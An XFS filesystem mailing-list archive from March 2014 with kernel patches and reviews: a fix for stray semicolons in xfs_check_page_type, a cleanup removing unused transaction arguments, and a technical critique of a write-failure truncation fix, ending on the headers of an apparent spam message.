(liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 33FDA63BE559; Fri, 28 Mar 2014 20:56:05 -0500 (CDT) Message-ID: <53362834.7090900@sandeen.net> Date: Fri, 28 Mar 2014 20:56:04 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Dan Carpenter , Dave Chinner CC: kernel-janitors@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [patch] xfs: extra semi-colon breaks a condition References: <20140328080313.GA25192@mwanda> X-ASG-Orig-Subj: Re: [patch] xfs: extra semi-colon breaks a condition In-Reply-To: <20140328080313.GA25192@mwanda> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1396058165 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4366 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/28/14, 3:03 AM, Dan Carpenter wrote: > There were some extra semi-colons here which mean that we return true > unintentionally. > > Fixes: a49935f200e2 ('xfs: xfs_check_page_type buffer checks need help') that's terrifying. Reviewed-by: Eric Sandeen > Signed-off-by: Dan Carpenter > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index 98016b3..75df77d 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -659,10 +659,10 @@ xfs_check_page_type( > if (type == XFS_IO_UNWRITTEN) > return true; > } else if (buffer_delay(bh)) { > - if (type == XFS_IO_DELALLOC); > + if (type == XFS_IO_DELALLOC) > return true; > } else if (buffer_dirty(bh) && buffer_mapped(bh)) { > - if (type == XFS_IO_OVERWRITE); > + if (type == XFS_IO_OVERWRITE) > return true; > } > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Fri Mar 28 21:01:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3CBAA7F3F for ; Fri, 28 Mar 2014 21:01:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F066C30406A for ; Fri, 28 Mar 2014 19:01:28 -0700 (PDT) X-ASG-Debug-ID: 1396058487-04bdf05daba9f370001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id fYLOTeHfAabd7EfD for ; Fri, 28 Mar 2014 19:01:27 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id ED28663C77A3 for ; Fri, 28 Mar 2014 21:01:26 -0500 (CDT) Message-ID: <53362976.3060101@sandeen.net> Date: Fri, 28 Mar 2014 21:01:26 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: remove unused transaction pointer args X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: remove unused transaction pointer args Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1396058487 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4366 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Several functions pass a transaction pointer around, but it's never used in those callchains. Remove it. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 152543c..b308097 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -1675,7 +1675,6 @@ xfs_bmap_isaeof( */ int xfs_bmap_last_offset( - struct xfs_trans *tp, struct xfs_inode *ip, xfs_fileoff_t *last_block, int whichfork) diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..52ad38d 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -146,8 +146,8 @@ int xfs_bmap_first_unused(struct xfs_trans *tp, struct xfs_inode *ip, xfs_extlen_t len, xfs_fileoff_t *unused, int whichfork); int xfs_bmap_last_before(struct xfs_trans *tp, struct xfs_inode *ip, xfs_fileoff_t *last_block, int whichfork); -int xfs_bmap_last_offset(struct xfs_trans *tp, struct xfs_inode *ip, - xfs_fileoff_t *unused, int whichfork); +int xfs_bmap_last_offset(struct xfs_inode *ip, xfs_fileoff_t *unused, + int whichfork); int xfs_bmap_one_block(struct xfs_inode *ip, int whichfork); int xfs_bmap_read_extents(struct xfs_trans *tp, struct xfs_inode *ip, int whichfork); diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index ce16ef0..7575a3b 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -230,11 +230,11 @@ xfs_dir_createname( if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_addname(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) return rval; else if (v) rval = xfs_dir2_block_addname(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + else if ((rval = xfs_dir2_isleaf(dp, &v))) return rval; else if (v) rval = xfs_dir2_leaf_addname(&args); @@ -303,11 +303,11 @@ xfs_dir_lookup( if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_lookup(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) return rval; else if (v) rval = xfs_dir2_block_lookup(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + else if ((rval = xfs_dir2_isleaf(dp, &v))) return rval; else if (v) rval = xfs_dir2_leaf_lookup(&args); @@ -360,11 +360,11 @@ xfs_dir_removename( if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_removename(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) return rval; else if (v) rval = xfs_dir2_block_removename(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + else if ((rval = xfs_dir2_isleaf(dp, &v))) return rval; else if (v) rval = xfs_dir2_leaf_removename(&args); @@ -410,11 +410,11 @@ xfs_dir_replace( if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_replace(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) return rval; else if (v) rval = xfs_dir2_block_replace(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + else if ((rval = xfs_dir2_isleaf(dp, &v))) return rval; else if (v) rval = xfs_dir2_leaf_replace(&args); @@ -456,11 +456,11 @@ xfs_dir_canenter( if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_addname(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) return rval; else if (v) rval = xfs_dir2_block_addname(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) + else if ((rval = xfs_dir2_isleaf(dp, &v))) return rval; else if (v) rval = xfs_dir2_leaf_addname(&args); @@ -525,7 +525,6 @@ xfs_dir2_grow_inode( */ int xfs_dir2_isblock( - xfs_trans_t *tp, xfs_inode_t *dp, int *vp) /* out: 1 is block, 0 is not block */ { @@ -534,7 +533,7 @@ xfs_dir2_isblock( int rval; mp = dp->i_mount; - if ((rval = xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) + if ((rval = xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) return rval; rval = XFS_FSB_TO_B(mp, last) == mp->m_dirblksize; ASSERT(rval == 0 || dp->i_d.di_size == mp->m_dirblksize); @@ -547,7 +546,6 @@ xfs_dir2_isblock( */ int xfs_dir2_isleaf( - xfs_trans_t *tp, xfs_inode_t *dp, int *vp) /* out: 1 is leaf, 0 is not leaf */ { @@ -556,7 +554,7 @@ xfs_dir2_isleaf( int rval; mp = dp->i_mount; - if ((rval = xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) + if ((rval = xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) return rval; *vp = last == mp->m_dirleafblk + (1 << mp->m_sb.sb_dirblklog); return 0; diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index cec70e0..64a6b19 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -142,8 +142,8 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); /* * Interface routines used by userspace utilities */ -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); +extern int xfs_dir2_isblock(struct xfs_inode *dp, int *r); +extern int xfs_dir2_isleaf(struct xfs_inode *dp, int *r); extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, struct xfs_buf *bp); diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index ae47ec6..f8170bc 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1707,7 +1707,7 @@ xfs_dir2_node_to_leaf( /* * Get the last offset in the file. */ - if ((error = xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))) { + if ((error = xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) { return error; } fo -= mp->m_dirblkfsbs; diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 48c7d18..807946d 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -1726,7 +1726,7 @@ xfs_dir2_node_addname_int( if (dbno == -1) { xfs_fileoff_t fo; /* freespace block number */ - if ((error = xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))) + if ((error = xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) return error; lastfbno = xfs_dir2_da_to_db(mp, (xfs_dablk_t)fo); fbno = ifbno; diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index aead369..a18000f 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -687,7 +687,7 @@ xfs_readdir( lock_mode = xfs_ilock_data_map_shared(dp); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_getdents(dp, ctx); - else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) + else if ((rval = xfs_dir2_isblock(dp, &v))) ; else if (v) rval = xfs_dir2_block_getdents(dp, ctx); diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 22d1cbe..2b2739c 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -734,7 +734,7 @@ xfs_iomap_write_allocate( */ nimaps = 1; end_fsb = XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); - error = xfs_bmap_last_offset(NULL, ip, &last_block, + error = xfs_bmap_last_offset(ip, &last_block, XFS_DATA_FORK); if (error) goto trans_cancel; From raphael.scarv@gmail.com Fri Mar 28 21:09:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E63AC7F4E for ; Fri, 28 Mar 2014 21:09:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A9FC18F8074 for ; Fri, 28 Mar 2014 19:09:02 -0700 (PDT) X-ASG-Debug-ID: 1396058938-04bdf05daaa9fdb0001-NocioJ Received: from mail-vc0-f177.google.com (mail-vc0-f177.google.com [209.85.220.177]) by cuda.sgi.com with ESMTP id pdKQf1DsMbE6r0tt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 28 Mar 2014 19:08:59 -0700 (PDT) X-Barracuda-Envelope-From: raphael.scarv@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] Received: by mail-vc0-f177.google.com with SMTP id if17so6476435vcb.8 for ; Fri, 28 Mar 2014 19:08:58 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=RLjEaa+yuzco6U9Zl1t76tGURlhsjheT61qvgppTIOw=; b=b72xh7VnmY3z3det2QZJsWSbftuENsfVLjrZXsxcD/qbQ4zyfAVJ5hKMfoI4LZW4G5 1SQknevUTZEhXiCg0pCqqCYthQjeJIFgzP8/ij/M3zobLXmyPBHwPoXmA2FK7YeYvsE6 sPaGsYuDaUUclFfEgvuUCw0PFSaJLGlu+7En8x4dUMbijMrYI5O2GgQDwlW71gtFO44Z T141S/LsHaMXoo7Ln1VH3OYfAw5v017WUsgBUuCPxLT8g786b16STHxjOFngFDAYxXAB ch7NkhYvLn19fZ3XD6uLXWnyxDV0YXRbIC+i47JXSlycIJVb8Rwqg2XUcwXe1g2bgE6D 0XsQ== MIME-Version: 1.0 X-Received: by 10.52.191.100 with SMTP id gx4mr8521330vdc.4.1396058938507; Fri, 28 Mar 2014 19:08:58 -0700 (PDT) Received: by 10.58.73.105 with HTTP; Fri, 28 Mar 2014 19:08:58 -0700 (PDT) In-Reply-To: <53362834.7090900@sandeen.net> References: <20140328080313.GA25192@mwanda> <53362834.7090900@sandeen.net> Date: Fri, 28 Mar 2014 23:08:58 -0300 Message-ID: Subject: Re: [patch] xfs: extra semi-colon breaks a condition From: Raphael S Carvalho X-ASG-Orig-Subj: Re: [patch] xfs: extra semi-colon breaks a condition To: Eric Sandeen Cc: Dan Carpenter , Dave Chinner , kernel-janitors@vger.kernel.org, xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=089e013a1fcc1d888604f5b54de0 X-Barracuda-Connect: mail-vc0-f177.google.com[209.85.220.177] X-Barracuda-Start-Time: 1396058939 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4366 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e013a1fcc1d888604f5b54de0 Content-Type: text/plain; charset=ISO-8859-1 On Fri, Mar 28, 2014 at 10:56 PM, Eric Sandeen wrote: > On 3/28/14, 3:03 AM, Dan Carpenter wrote: > > There were some extra semi-colons here which mean that we return true > > unintentionally. > > > > Fixes: a49935f200e2 ('xfs: xfs_check_page_type buffer checks need help') > > that's terrifying. > Wonder how errors like this one get into the kernel :-) Suppose it's not the main tree, but instead xfs private one. > > Reviewed-by: Eric Sandeen > > > Signed-off-by: Dan Carpenter > > > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > > index 98016b3..75df77d 100644 > > --- a/fs/xfs/xfs_aops.c > > +++ b/fs/xfs/xfs_aops.c > > @@ -659,10 +659,10 @@ xfs_check_page_type( > > if (type == XFS_IO_UNWRITTEN) > > return true; > > } else if (buffer_delay(bh)) { > > - if (type == XFS_IO_DELALLOC); > > + if (type == XFS_IO_DELALLOC) > > return true; > > } else if (buffer_dirty(bh) && buffer_mapped(bh)) { > > - if (type == XFS_IO_OVERWRITE); > > + if (type == XFS_IO_OVERWRITE) > > return true; > > } > > > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > > > -- > To unsubscribe from this list: send the line "unsubscribe kernel-janitors" > in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > -- Raphael S. Carvalho --089e013a1fcc1d888604f5b54de0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable



On Fri, Mar 28, 2014 at 10:56 PM, Eric Sandeen &l= t;sandeen@sandeen.= net> wrote:
On 3/28/1= 4, 3:03 AM, Dan Carpenter wrote:
> There were some extra semi-colons here which mean that we return true<= br> > unintentionally.
>
> Fixes: a49935f200e2 ('xfs: xfs_check_page_type buffer checks need = help')

that's terrifying.
Wonder how errors like th= is one get into the kernel :-) Suppose it's not the main tree, but inst= ead xfs private one.

Reviewed-by: Eric Sandeen <sandeen= @redhat.com>

> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
>
> diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c
> index 98016b3..75df77d 100644
> --- a/fs/xfs/xfs_aops.c
> +++ b/fs/xfs/xfs_aops.c
> @@ -659,10 +659,10 @@ xfs_check_page_type(
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (type =3D=3D XFS_IO_UNW= RITTEN)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return tru= e;
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 } else if (buffer_delay(bh)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (type =3D=3D XFS_IO_DELAL= LOC);
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (type =3D=3D XFS_IO_DELAL= LOC)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return tru= e;
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 } else if (buffer_dirty(bh) && buf= fer_mapped(bh)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (type =3D=3D XFS_IO_OVERW= RITE);
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (type =3D=3D XFS_IO_OVERW= RITE)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return tru= e;
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 }
>
>
> ______________________________________________= _
> xfs mailing list
> xfs@oss.sgi.com
> = http://oss.sgi.com/mailman/listinfo/xfs
>

--
To unsubscribe from this list: send the line "unsubscribe kernel-janit= ors" in
the body of a message to major= domo@vger.kernel.org
More majordomo info at =A0http://vger.kernel.org/majordomo-info.html



--
Raphael S. = Carvalho
--089e013a1fcc1d888604f5b54de0-- From bfoster@redhat.com Sat Mar 29 10:14:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F23027F50 for ; Sat, 29 Mar 2014 10:14:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E5EFE8F8074 for ; Sat, 29 Mar 2014 08:14:27 -0700 (PDT) X-ASG-Debug-ID: 1396106063-04cb6c5675ab71c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kqEkSu1rR9qeKLji for ; Sat, 29 Mar 2014 08:14:23 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2TFELj2029906 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 29 Mar 2014 11:14:21 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2TFEKra029701; Sat, 29 Mar 2014 11:14:20 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8AE43123C1C; Sat, 29 Mar 2014 11:14:19 -0400 (EDT) Date: Sat, 29 Mar 2014 11:14:19 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, Viro@disappointment.disaster, viro@ZenIV.linux.org.uk, Al@disappointment.disaster Subject: Re: [PATCH 2/6] xfs: write failure beyond EOF truncates too much data Message-ID: <20140329151419.GA33827@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: write failure beyond EOF truncates too much data References: <1395396710-3824-1-git-send-email-david@fromorbit.com> <1395396710-3824-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1395396710-3824-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396106063 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 21, 2014 at 09:11:46PM +1100, Dave Chinner wrote: > From: Dave Chinner > > If we fail a write beyond EOF and have to handle it in > xfs_vm_write_begin(), we truncate the inode back to the current inode > size. This doesn't take into account the fact that we may have > already made successful writes to the same page (in the case of block > size < page size) and hence we can truncate the page cache away from > blocks with valid data in them. If these blocks are delayed > allocation blocks, we now have a mismatch between the page cache and > the extent tree, and this will trigger - at minimum - a delayed > block count mismatch assert when the inode is evicted from the cache. > We can also trip over it when block mapping for direct IO - this is > the most common symptom seen from fsx and fsstress when run from > xfstests. > > Fix it by only truncating away the exact range we are updating state > for in this write_begin call. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_aops.c | 10 ++++++++-- > 1 file changed, 8 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index e810243..6b4ecc8 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -1609,12 +1609,18 @@ xfs_vm_write_begin( > status = __block_write_begin(page, pos, len, xfs_get_blocks); > if (unlikely(status)) { > struct inode *inode = mapping->host; > + size_t isize = i_size_read(inode); > > xfs_vm_write_failed(inode, page, pos, len); > unlock_page(page); > > - if (pos + len > i_size_read(inode)) > - truncate_pagecache(inode, i_size_read(inode)); >From what I can see, we have a write_begin/copy/write_end sequence per page and the inode size is updated down in the write_end path. If the write fails at write_begin time, then we haven't copied any data and the inode size hasn't changed. The intent of the original code looks like it wants to break off any blocks that might have been set up beyond EOF before the write happened to fail. Could you elaborate on how this can kill blocks that might have been written successfully? Doesn't this only affect post-EOF metadata? > + /* > + * If the write is beyond EOF, we only want to kill blocks > + * allocated in this write, not blocks that were previously > + * written successfully. > + */ > + if (pos + len > isize) > + truncate_pagecache_range(inode, pos, pos + len); So the cache truncate now covers the range of the write. What happens if the part of the write is an overwrite? This seems similar to the problem you've described above... should the truncate start at isize instead? Brian > > page_cache_release(page); > page = NULL; > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From info@live-musikagentur.com Sat Mar 29 13:29:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,UPPERCASE_50_75 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 12F577F52 for ; Sat, 29 Mar 2014 13:29:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01935304059 for ; Sat, 29 Mar 2014 11:29:16 -0700 (PDT) X-ASG-Debug-ID: 1396117743-04cbb054b78e9ac0001-NocioJ Received: from ks1.cn-server.net (ks1.cn-server.net [78.46.106.171]) by cuda.sgi.com with ESMTP id I1U6mVkkvia6fc61 for ; Sat, 29 Mar 2014 11:29:03 -0700 (PDT) X-Barracuda-Envelope-From: info@live-musikagentur.com X-Barracuda-Apparent-Source-IP: 78.46.106.171 Received: from localhost (localhost [127.0.0.1]) by ks1.cn-server.net (Postfix) with ESMTP id 89BB7BD67BF for ; Sat, 29 Mar 2014 19:30:18 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at ks1.cn-server.net Received: from ks1.cn-server.net ([127.0.0.1]) by localhost (ks1.cn-server.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9yTTfblOQ78d for ; Sat, 29 Mar 2014 19:30:18 +0100 (CET) Received: from ricvszy (unknown [113.251.216.58]) by ks1.cn-server.net (Postfix) with ESMTPA id 6BD31BD65FC for ; Sat, 29 Mar 2014 19:30:15 +0100 (CET) Message-ID: <55588DFB5BAF43D4B9CB207D47D0B3F6@fhyiwz> From: "Hugo Costabile" To: "xfs" Subject: =?windows-1251?B?zfDg4uj4/PH/IOzz5vfo7eDsPyB1TGtFWUxo?= =?windows-1251?B?WQ==?= Date: Sat, 29 Mar 2014 19:29:32 +0100 X-ASG-Orig-Subj: =?windows-1251?B?zfDg4uj4/PH/IOzz5vfo7eDsPyB1TGtFWUxo?= =?windows-1251?B?WQ==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0181_01CF4B85.36089760" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: ks1.cn-server.net[78.46.106.171] X-Barracuda-Start-Time: 1396117743 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.49 X-Barracuda-Spam-Status: No, SCORE=0.49 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4392 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase This is a multi-part message in MIME format. ------=_NextPart_000_0181_01CF4B85.36089760 Content-Type: 